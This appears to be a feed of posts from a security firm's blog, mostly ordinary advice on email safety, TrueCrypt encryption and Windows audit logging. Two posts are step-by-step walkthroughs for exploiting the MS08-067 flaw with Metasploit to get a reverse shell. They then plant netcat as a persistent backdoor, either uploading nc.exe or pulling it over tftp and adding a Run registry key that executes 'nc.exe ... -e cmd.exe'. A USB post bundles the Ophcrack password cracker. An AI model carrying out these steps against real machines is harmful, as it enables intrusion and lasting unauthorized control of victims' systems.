CYCOPS INDIA BLOG

Ways to Secure your Email Account

noreply@blogger.com (CyCOPS India Private Limited) — Sat, 03 Apr 2010 07:53:00 +0000

1. Always Use HTTPS – This is a great feature from security point of view offered by Email service providers. HTTPS is secure protocol for transmission of vital information on web in encrypted form. Although, when we sign into our Email account, https is used but to make sure https is used throughout our session for our Email account. HTTPS makes mail little slower than normal but security should be of our prime concern.

2. Remember to log out – Log out whenever you have completed checking mails even if you’re on your own computer. If you’re on public computer like in cyber cafe, make sure you had unchecked “Remember me” or “keep me signed in” option while logging into account. Clear cookies, passwords before leaving public PC.

3. Audit – First netizens should know their own public ip address. You can know your ip address by visiting websites like www.showmyip.com / www.whatismyip.com. You know your own ip address, Now find out the ip address from where your Email account was opened last time. If you are using Gmail In the footer, at the very bottom of your inbox, you will see information about last sessions – Last activity : ip address : Details . Just hit on details button and you can see when was your account accessed and from which ip address.

You can also use this feature there to log out all sessions if you find any session open or if you forgot to log out on your friend’s pc or public computers. One should make habit of checking/ auditing Gmail account session details regularly.

4. Don’t disclose – Don’t disclose your id and password to anybody. You might get fake email asking for your Email id and password, but remember, Google, Yahoo, Hotmail or any banking web site never asks you to disclose your password. Stay safe. Also, some websites have features to invite your Email contacts to network with you on their website, for this they ask you to enter your Email id and password – Don’t give your Email details to untrusted or small or new , unestablished websites .

5. Change your password – Once in two months or so, you should change your password but remember the new one!! Don’t use easy to guess password i.e. don’t use your mobile number, date of birth, your girlfriend’s number as your password! Use password of at least 8 characters. Don’t use repetitive letters in passwords as aaaa1111. Don’t use your Gmail account password as passwords on other websites. I find many people use the same password for variety of websites so if one of your passwords is hacked, all are hacked.

6. Check links – Don’t fall prey to phishing attempt. Your so called friend might give you a link stating that it the link to new and feature packed advanced banking or Gmail or hotmail, you then try to log onto the link given by your friend and your friend gets your id and password. So always check links before hitting on any such links.

7. Keep your account up to date – Keep your account recovery option updated and remember your security question and answer so that you can recover your password in case if something wrong happens. Although, after reading this post and following accordingly, such unfortunate case is nowhere to stand. You can also add phone number to account for recovery purposes.

8. Use updated internet security suite (Internet browser, Antivirus, Firewall, Antispyware) on your pc - This point is also very important because your computer might have been compromised by a trojan, keylogger or virus which may distribute your account details to remote hacker. Update your browser, operating system, security softwares, mail applications so that you should not be vulnerable to latest exploits and hacks.

9. Attachments – Email service providers scans every attachment you receive or send for virus or other such kind of threats but even then, it is not advised to download attachments from untrusted source. This will keep your computer safe and so your account.

10. Spam – Don’t waste your time reading spam messages. Spam messages are not only waste of time but also may prove to be a security concern as spams may contain links to malicious websites.

Detecting suspicious account activity

noreply@blogger.com (CyCOPS India Private Limited) — Sat, 03 Apr 2010 07:03:00 +0000

A few weeks ago, I got an email presumably from a friend stuck in London asking for some money to help him out. It turned out that the email was sent by a scammer who had hijacked my friend's account. By reading his email, the scammer had figured out my friend's whereabouts and was emailing all of his contacts. Here at Google, we work hard to protect Gmail accounts against this kind of abuse. Today we're introducing a new feature to notify you when we detect suspicious login activity on your account.

You may remember that a while back we launched remote sign out and information about recent account activity to help you understand and manage your account usage. This information is still at the bottom of your inbox. Now, if it looks like something unusual is going on with your account, we’ll also alert you by posting a warning message saying, "Warning: We believe your account was last accessed from…" along with the geographic region that we can best associate with the access.

To determine when to display this message, our automated system matches the relevant IP address, logged per the Gmail privacy policy, to a broad geographical location. While we don't have the capability to determine the specific location from which an account is accessed, a login appearing to come from one country and occurring a few hours after a login from another country may trigger an alert.

By clicking on the "Details" link next to the message, you'll see the last account activity window that you're used to, along with the most recent access points.

If you think your account has been compromised, you can change your password from the same window. Or, if you know it was legitimate access (e.g. you were traveling, your husband/wife who accesses the account was also traveling, etc.), you can click "Dismiss" to remove the message.

Keep in mind that these notifications are meant to alert you of suspicious activity but are not a replacement for account security best practices. If you'd like more information on account security, read these tips on keeping your information secure.

Finally, we know that security is also a top priority for businesses and schools, and we look forward to offering this feature to Google Apps customers once we have gathered and incorporated their feedback.

HowTO: Triple Boot USB BackTrack2, BackTrack3 and Ophcrack

noreply@blogger.com (CyCOPS India Private Limited) — Fri, 08 Jan 2010 12:01:00 +0000

Requirements:

BackTrack3 CD

BackTrack2 CD

Ophcrack for XP CD

USB (minimum 2GB)

Copy Backtrack3 folders, boot and BT3 in usb drive.

Open boot folder and run bootinst.bat file, bootinst.bat will setup usb drive to boot only Slax.

Press ‘Enter’ to initiate the installation process.

Go to syslinux folder and open syslinux.cfg in wordpad.

Delete all the entries except First two paragraphs, save and exit.

Now we will copy BackTrack 2 files in USB drive.

Copy BT folder and paste in USB drive.

Copy and paste boot folder somewhere else of BackTrack2 so that the folder’s name can be renamed because boot folder is already created in USB drive.

Rename it to boot2, copy and paste in USB drive.

Open boot2\syslinux.cfg in wordpad.

Copy the second paragraph open boot\syslinux\syslionux.cfg file in wordpad and paste.

Go to the second line of the recently created paragraph and replace boot text with boot2.

Do the same for the next third line, save and close the file.

Now we will copy Ophcrack Files in USB drive.

Copy Ophcrack folder and paste in USB drive.

Copy “boot” folder to Desktop and rename it as “boot3”, and copy it to USB.

Open Ophcrack.cfg in wordpad from boot3 folder.

Scroll down and copy first four lines of LABEL xconf paragraph.

Go to boot/syslinux , open syslinux.cfg file in wordpad and paste the copied data at the end of the file.

Go back to Ophcrack.cfg file, copy first four lines of LABEL startx paragraph, paste at the end of the syslinux.cfg file.

Again go back to Ophcrack.cfg file, copy first four lines of LABEL ophcrack paragraph, paste this too at the end of the syslinux.cfg file.

Modify the pasted data with “boot” as “boot3”.

Now the USB is ready to triple boot with BT3, BT2 and Ophcrack

Conclusion:

In contrast to live CDs, the data contained on the booting device can be changed and additional data stored on the same device. This allows for live USBs to be used as personal storage, as it allows a user to carry their preferred operating system, applications, and configuration as well as personal files with them, making it easy to share a single system between multiple users. Ophcrack is an open source (GPL licensed) program that cracks Windows passwords by using LM hashes through rainbow tables.

By making these powerful operating usb bootable we can carry both penetration testing, Forensic investigation and Password cracking tools at the same time.

How to own a Windows XP Sp2 system using MS08-67 vulnerability and run netcat as backdoor with Meterpreter?

noreply@blogger.com (CyCOPS India Private Limited) — Thu, 07 Jan 2010 13:25:00 +0000

How to own a Windows XP Sp2 system using MS08-67 vulnerability and run netcat as backdoor with Meterpreter?

Microsoft Security Bulletin MS08-067 – Critical

DISCLAIMER:

Content provided in this blog can only be used for your own educative purposes. Using these hacks outside of your own computer or network is forbidden and strictly illegal. If you use these techniques in an illegal way you will be punished by law. Our articles and blogs provided and created for testing internet security and for learning how to help the world make a new security and how to close the holes, backdoors and any other internet security related help and fixes.

Owners of this blog are not responsible for your illegal actions.

Executive Summary:

Remote code execution vulnerability exists in the Server service on Windows systems. The vulnerability is due to the service not properly handling specially crafted RPC requests. In this video we demonstrate how to make use of this vulnerability with the help of Metasploit and install as Backdoor on Windows XP sp2 systems.

The generic lab setup for this demonstration will be as follows:

Consider victim machine running on windows XP sp2.

To get the ip address Go to

START -> RUN and type ‘cmd’, type ‘ipconfig’ which displays the ip address. (10.10.1.102)

As an attacker’s machine, we use BackTrack 4

Switching to BackTrack 4

To get the ip address in BackTrack,

Click on konsole icon on the taskbar and type ‘ifconfig’. (10.10.1.105)

For this demonstration we will be working on console mode of Metasploit framework3.

Change present working directory to ‘/pentest/exploits/framework3’

To run Metasploit execute ‘./msfconsole’

Metasploit welcome screen displays available exploits, payloads, encoders etc.

Enter ‘search 067’ to search the ms08_067_netapi exploit module

Now we need to tell Metasploit to use ms_08_067_netapi module, for this type:

‘use windows/smb/ms08_067_netapi

‘show options’ displays the current settings and the settings required to change.

RHOST is Remote Host, set RHOST by typing

‘set RHOST >’

‘show payloads’ command will list all payloads that are compatible with the selected exploit

Set reverse_tcp payload by typing:

‘Set PAYLOAD windows/meterpreter/reverse_tcp’

use the ‘show options’ command to check which options have been set and which are required to be set

LHOST is Local Host, set LHOST by typing

‘set LHOST ip>’

use ‘show option’ to check the changed settings

The ‘show targets’ command will list all available targets for the selected exploit module

The ‘exploit ‘command actually launches the attack, doing whatever it needs to do to have the payload executed on the remote system.

If everything goes well, you get the meterpreter shell.

To run command on victim’s machine type:

‘execute –f cmd.exe –c’

To get the victim’s shell type:

‘interact 1’

Now we will create a backdoor using netcat.

Close the current connection.

Open a new konsole, konsole2 and copy netcat in tmp directory by typing:

‘cp /pentest/windows-binaries/tools/nc.exe /tmp’

type ‘cd /tmp’ to change present working directory

to list the files type:

‘ls’

Go back to konsole1

To upload nc.exe in victim’s system32 folder type:

‘upload /tmp/nc.exe c:\\windows\\system32’

we work with the registry to have netcat execute on start up and listen on port 443.

Type:

‘reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run’

to add netcat in registry type:

‘reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d "C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe"’

To check recently made entries in registry type:

‘reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc’

Exit from meterpreter shell.

Now netcat will be listening on port 443 even after every restart.

Restart windows xp.

To check listening and opening ports type:

‘netstat –an’

netcat is listening on port 443

To connect back to victim’s machine type:

‘telnet 443’

This would again give you the victim’s shell.

Conclusion

Undoubtedly (MS08-67), which was used by Conficker and many of its type variant worms, is one of the biggest issues. So in this article we demonstrate how to use Metasploit, work on (MS08-67) exploit, own Windows XP sp2 systems and place netcat as a backdoor on the victim system.

How TO encrypt system partition with TrueCrypt

noreply@blogger.com (CyCOPS India Private Limited) — Wed, 06 Jan 2010 13:06:00 +0000

Executive Summary:
TrueCrypt is a free open source disk encryption software that works on both Windows and Linux platforms. TrueCrypt can on-the-fly encrypt a system partition or entire system drive, i.e. a partition or drive where Windows is installed and from which it boots.

Download and install TrueCrypt.

Once TrueCrypt is installed start TrueCrypt application.

The main TrueCrypt window will appear, click on Create Volume button to start the volume creation wizard.

Choose Encrypt the system partition or Entire system drive.

Two types of volume can be created either Normal or Hidden. In this example we choose the Normal, click Next.

Check Encrypt the whole drive and click Next.

Check Yes for Encryption of Host Protected Area and click Next.

TrueCrypt takes some time in detecting hidden sectors, click Next once it is done.

For the next screen you can choose Single Boot or Multi-Boot.
Multi-Boot option is required If two or more operating systems are installed. Choose Single Boot and click Next.

Select the type of Encryption Algorithm and click Next.

Choose Password, Type in twice and click next.

TrueCrypt gathers random information from your system including the location of your mouse pointer and uses this information to generate keys.
Click Next.

The next step is to create what TrueCrypt calls the ‘Rescue Disk’. This disk will be used in case the boot loader or Windows become corrupted or infected. By default the 'Rescue Disk' was saved as 'TrueCrypt Rescue Disk.iso' in 'My Documents'.
It is the time to burn the newly created .iso file to a cd.

If the rescue disk is not valid it displays error.
if everything goes fine Rescue Disk Verified window appears, click Next.

Click Next.

Next TrueCrypt will begin the pretest to make sure everything is in working order before it begins the encryption process. This will also install the TrueCrypt boot loader on the boot sector of the hard drive.
Click test.

Click OK and restart the system.

After the computer boots up, enter the password which created earlier.

Once the pretest has been successfully completed, click Encrypt.

Click ‘OK’ on the Rescue Disk information window.

Next window starts encrypting the drive. It will take some time, it depends on the size of the drive.

Click ok.

Now the drive has been successfully encrypted.

Conclusion:
TrueCrypt is an excellent option for the encryption requirements. It is absolutely free, and being an open-source software of repute, you can be sure of its safety part.
System encryption involves pre-boot authentication, provides the highest level of security & privacy, because all files, including any temporary files are always permanently encrypted.

How To encrypt Private/ Sensitive data using TrueCrypt

noreply@blogger.com (CyCOPS India Private Limited) — Mon, 04 Jan 2010 13:46:00 +0000

Executive Summary:

TrueCrypt is a free open source disk encryption software that works on both Windows and Linux platforms. Data stored on an encrypted volume cannot be read (decrypted) without using the correct password/keyfile(s) or correct encryption keys.

Download and install TrueCrypt.

Once TrueCrypt is installed start TrueCrypt application.

The main TrueCrypt window will appear, click on Create Volume button to start the volume creation wizard.

A TrueCrypt volume can reside in a file, which is also called Container. Select first option to create a TrueCrypt volume within a file.

As the option is selected by default click next.

Two types of volume can be created either Standard or Hidden. In this example we will choose the Standard TrueCrypt Volume and click Next.

Specify location and the file name of the ‘container’.

NOTE: TrueCrypt container is just like any normal file, It can be deleted or moved as any normal file.

Lets call the container ’ My Volume’ and save.

Click Next

Select the type of Encryption Algorithm and click Next.

Choose the size of the ‘container’ and press Next.

Specify the password to access and mount this ‘container’.

Format the volume now. TrueCrypt gathers random information from your system including the location of your mouse pointer and uses this information to format the location you selected earlier.

NOTE: When you hit the “format” button, you are not formatting or erasing your hard drive. You are ONLY formatting the drive location file which in this case would be the ‘My Volume’.

Exit from the Volume Created box.

To access the created container which is ‘My Volume’

In TrueCrypt, choose "Select File" and navigate to the volume file ‘My Volume’ and click on Mount.

Enter the correct password, this will mount a virtual drive, which you can see in ‘My Computer’.

Copy files which you want to make secure/private and paste in the new virtual drive.

The files which are in virtual drive can only be accessed after entering correct password.

Restart computer to check.

Virtual drive is no longer available.

To access private files again follow the same procedure and mount ‘My Volume’.

Conclusion:

TrueCrypt is an excellent option for the encryption requirements. It is absolutely free, and being an open-source software of repute, you can be sure of its safety part. However, if you decide to use it, just remember that you MUST NOT forget your password, otherwise your encrypted files and encrypted data are gone forever!

From,
CyCops India Team

How to own a Windows XP Sp2 system using MS08-67 vulnerability and run netcat as backdoor?

noreply@blogger.com (CyCOPS India Private Limited) — Wed, 23 Dec 2009 12:24:00 +0000

Microsoft Security Bulletin MS08-067 – Critical

DISCLAIMER:

Owners of this blog are not responsible for your illegal actions.

Executive Summary:

The generic lab setup for this demonstration will be as follows:

Consider victim machine running on windows XP sp2.

To get the ip address Go to

START -> RUN and type ‘cmd’, type ‘ipconfig’ which displays the ip address. (10.10.1.103)

As an attacker’s machine, we use BackTrack 3

Switching to BackTrack 3

To get the ip address in BackTrack,

Click on konsole icon on the taskbar and type ‘ifconfig’. (10.10.1.101)

For this demonstration we will be working on console mode of Metasploit 3.

Change present working directory to ‘/pentest/exploits/framework3’

To run Metasploit execute ‘./msfconsole’

Metasploit welcome screen displays available exploits, payloads, encoders etc.

Enter ‘search 067’ to search the ms08_067_netapi exploit module

Now we need to tell Metasploit to use ms_08_067_netapi module, for this type:

‘use windows/smb/ms08_067_netapi’

‘show options’ displays the current settings and the settings required to change.

RHOST is Remote Host, set RHOST by typing

‘set RHOST >’

‘show payloads’ command will list all payloads that are compatible with the selected exploit

Set reverse_tcp payload by typing:

‘Set PAYLOAD windows/shell/reverse_tcp’

use the ‘show options’ command to check which options have been set and which are required to be set

LHOST is Local Host, set LHOST by typing

‘set ip>’

The ‘show targets’ command will list all available targets for the selected exploit module

The ‘exploit ‘command actually launches the attack, doing whatever it needs to do to have the payload executed on the remote system.

If everything goes well, you get the shell of the remote system.

Now we will create a backdoor using netcat, for that start tftp.

Open a new konsole, konsole2 and change present working directory, type:

‘cd /tmp’

Make a copy of netcat (nc.exe) in the the temp directory of tftp which is ‘/tmp’

To start tftp Go To

Services->TFTPD->Start TFTPD

Transfer nc.exe to victim’s system by executing

‘tftp –i get nc.exe’ on victim’s shell.

Now to make netcat.exe run as a startup on victim’s machine type

‘reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /f /v nc /d “%systemroot%\system32\nc.exe –L –d –p 4444 –t –e cmd.exe’

Now netcat will be listening on port 4444 even after every restart.

Restart windows xp.

To check listening and opening ports type:

netstat –an

netcat is listening on port 4444

To connect back to victim’s machine type:

‘telnet 44444’

This would again give you the victim’s shell.

Conclusion

How to trace and log if a new USB / pen drive device is connected to your system

noreply@blogger.com (CyCOPS India Private Limited) — Fri, 27 Nov 2009 07:50:00 +0000

It is very unfortunate that most of the people don’t know that, by default windows logs only application and system events. Auditing provides a way for an administrator to detect an attack that has already occurred or is in progress. In addition, auditing can help a developer to sort out security-related problems.

By default Auditing for SECURITY events on windows are disabled.

To enable Audit for “Log on attempts”

Go to START, RUN and type “gpedit.msc”

Go to left hand side tab, navigate to Local Computer Policy > Computer Configuration > Windows Settings > Security Settings > Local Policies > Audit Policy

Select "Audit Object Access" on right hand side tab by double clicking on it.

Select both “Success” and “Failure” boxes and clicks “Ok”.

Note: To log only successful object access attempts select only “Success” box. / To log only failure access attempts select “Failure” box.

Be warned: This policy can really flood your server if you enable it on too many objects.

When you enable the Audit object access events policy for a given computer, Windows doesn’t immediately begin auditing all access events for all objects because the system would immediately pulverize to a close down.

Enabling object access auditing is a two-step process:

1. Enable the Audit object access events policy on the system that contains the objects you want to monitor.

2. Select specific objects and define the types of access you want to monitor.

In this video we consider usb pen drives connected to the system as an object for audit the accessed logs.

To enable the “Object Access” event, go to RUN, type “regedit”. Go to HKEY_LOCAL_MACHINE > SYSTEM > CurrentControlSet > Enum and right click on USBSTOR, click on permissions select Advanced tab, click on Auditing tab.

Click on the add button and select the users you pan to audit the object for. It is preferred to select everyone user so that event for any user will be triggered.
Close registry.

To cross check with the event logs, connect a USB pen drive to the system. An Auto run popup should be visible. Now go to Manage by right clicking on my computer, Select Event Viewer > SECURITY.

We can see few logs on security events.

From this log we can construct the following things:

Date of listing of file Audited

Time of the listing of the file Audited

Username used for listing of the file and also identify weather it is a Successful attempt or Failure attempt.

SID and DEVICE NAME of the pen drive connected to the system.

Conclusion:

Logging events can help you monitor your computer or network and prevent a successful attack and can also prove very useful in determining how and when an attack occurred if you use the logs as forensic evidence.

http://cycops.co.in/

How to trace unauthorized login attempts on Windows XP (win 2k, Vista, win 7…)

noreply@blogger.com (CyCOPS India Private Limited) — Thu, 26 Nov 2009 06:10:00 +0000

It is very unfortunate that most of the people don’t know that, by default windows logs only application events. Auditing provides a way for an administrator to detect an attack that has already occurred or is in progress. In addition, auditing can help a developer to sort out security-related problems.

By default Auditing for SECURITY events on windows are disabled.

To enable Audit for “Log on attempts”

Go to START, RUN and type “gpedit.msc”

Go to left hand side tab, navigate to Local Computer Policy > Computer Configuration > Windows Settings > Security Settings > Local Policies > Audit Policy

Select "Audit Logon Events" on right hand side tab by double clicking on it.

Select both “Success” and “Failure” boxes and click “Ok”.

Note: To log only successful log in attempts select only “Success” box. / To log only failure log in attempts select “Failure” box.

Log off your system

Try logging in with wrong passwords for few times and with one correct password.

To cross check with the event logs, go to Manage by right clicking on my computer, Select Event Viewer > SECURITY.

Both “FAILURE” and “SECCUESS” attempts are logged.

From this log we can construct the following things:

Date of the unauthorized access attempt

Time of the unauthorized access attempt

Username used for unauthorized access attempt and also identify weather it is a Successful attempt or Failure attempt.

Conclusion:
Logging events can help you monitor your computer or network and prevent a successful attack and can also prove very useful in determining how and when an attack occurred if you use the logs as forensic evidence.

http://cycops.co.in/

How to log an object for unauthorized access(Read / Write / List / Delete / Change permissions) of object ( File / Folder / Subfolder etc..)

noreply@blogger.com (CyCOPS India Private Limited) — Wed, 25 Nov 2009 09:02:00 +0000

This video is about auditing a specified object (file / folder / subfolder) for events like List, Read, Write, Delete, and change permissions etc… of the object

By default Auditing for Object Access events on windows are disabled.

To enable Audit for “Object Access”

Go to START, RUN and type “gpedit.msc”

Go to left hand side tab, navigate to Local Computer Policy > Computer Configuration > Windows Settings > Security Settings > Local Policies > Audit Policy

Select "Audit Object Access " on right hand side tab by double clicking on it.

Select both “Success” and “Failure” boxes and click “Ok”.

Note: To log only successful object access attempts select only “Success” box. / To log only failure access attempts select “Failure” box.

Be warned: This policy can really flood your server if you enable it on too many objects.

When you enable the Audit object access events policy for a given computer, Windows doesn’t immediately begin auditing all access events for all objects because the system would immediately pulverize to a close down.

Enabling object access auditing is a two-step process:

1. Enable the Audit object access events policy on the system that contains the objects you want to monitor.
2. Select specific objects and define the types of access you want to monitor.

In this video we consider cycops.txt file as an object for audit the accessed logs.

To enable the “Object Access” event, right click on the object: Go to security tab select Advanced on right hand corner and click on Auditing tab.

Click on the add button and select the users you pan to audit the object for. It is preferred to select everyone user so that event for any user will be triggered.

Let’s select Audit for List the file.

To cross check with the event logs, go to Manage by right clicking on my computer, Select Event Viewer > SECURITY.

We can see few logs on security events.

From this log we can construct the following things:

Date of listing of file Audited

Time of the listing of the file Audited

Username used for listing of the file and also identify weather it is a Successful attempt or Failure attempt.

Conclusion:

Logging events can help you monitor your computer or network and prevent a successful attack and can also prove very useful in determining how and when an attack occurred if you use the logs as forensic evidence.
http://cycops.co.in